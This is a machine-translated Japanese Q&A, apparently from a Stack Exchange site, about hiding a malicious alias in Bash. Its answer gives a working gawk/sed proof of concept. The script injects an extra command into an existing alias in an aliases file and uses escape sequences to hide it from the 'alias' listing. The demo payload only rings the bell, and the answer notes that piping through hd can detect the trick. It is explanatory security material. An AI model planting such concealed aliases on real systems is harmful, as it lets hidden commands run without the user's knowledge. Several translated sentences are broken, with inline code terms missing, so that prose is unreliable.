LinuxのBashで悪意のあるエイリアスを非表示にすることはできますか?


回答:


13

aliasコマンドを使用してエイリアス定義を表示する場合、既存のエイリアスを悪意のあるエイリアスに追加し、カーソル移動を使用してそれを非表示にすることにより、これを行うことができます。これは完全に簡単な方法ではありませんが、しばらくの間検出されない可能性があります。パイプaliasスルーhdすると、エイリアスにエスケープシーケンス(カーソル移動)があるかどうかがわかります。以下は、悪意のあるコマンドをエイリアスに挿入する方法の概念実証です。

alias | gawk 'BEGIN {
        FS = "[ =\047]"
        db = "\\"; sp = db " "; amp = db "&"
        sq= "\047"; bell = "\007"; esc = "\033"
    } 
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
  • このsedコマンドは、「エイリアス」と呼ばれるファイルを適切に変更します。このタイプの実際のスクリプトはスロートに適用され、実際のスクリプトファイルを変更して、悪意のあるエイリアスが次回実行されたときにアクティブになるようにします。
  • この例の悪意のある部分は、端末のベルを鳴らすだけなので、動作していることがわかります。
  • 最初にエイリアス化されたコマンドは、の内容をhide引数として実行されるため、この質問で報告されたものと同様のエラーが発生する可能性があります。元の部分と悪意のある部分を逆にしてこれに影響を与えることは可能かもしれませんが、これはエイリアスに提供される引数に干渉します。上記のスクリプトで、引数の終わりをでマークしようとしました--
  • 元の部分と悪意のある部分をでチェーンする代わりに、&&パイプで次の部分にパイプし、悪意のあるスクリプト(上記の簡単なechoコマンドで表されている)stdinstdoutパススルーとして機能させて、データを変更するか、データを非表示にすることができます。他のリダイレクションを妨害しないことにより、さらに存在する
  • 別の可能性は、悪意のあるスクリプト内に元のエイリアスを含めることで、引数リストからカーソル移動文字列を削除し、残りを元のエイリアスに渡すことができます。
  • 私はレコード3と4を任意に選択しました。よりインテリジェントなコードは特定のエイリアスをターゲットにすることができますが、それらは隣接している必要があります(またはカーソルの動きをより複雑にすることができます)。
  • hideように文字列が異なるカーソル移動、元のエイリアスのテキストを含むように変更することができるaliasコマンドが悪意のある一部と一緒にそれを隠すのではなく、非修飾エイリアスを表示するように思われます。
  • 記述どおりに試すには、少なくとも4つのアクティブなエイリアスが必要です. aliases。このスクリプトを実行し、結果のファイルをで入手します。次に、影響を受けるエイリアスを使用して、実行するとどのように見えるかを確認できますalias|hd
  • これは間違いなく100通りの方法で書き直すことができます。
  • このタイプの脅威はどの程度現実的ですか?手がかりはありません。でもできれば...
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.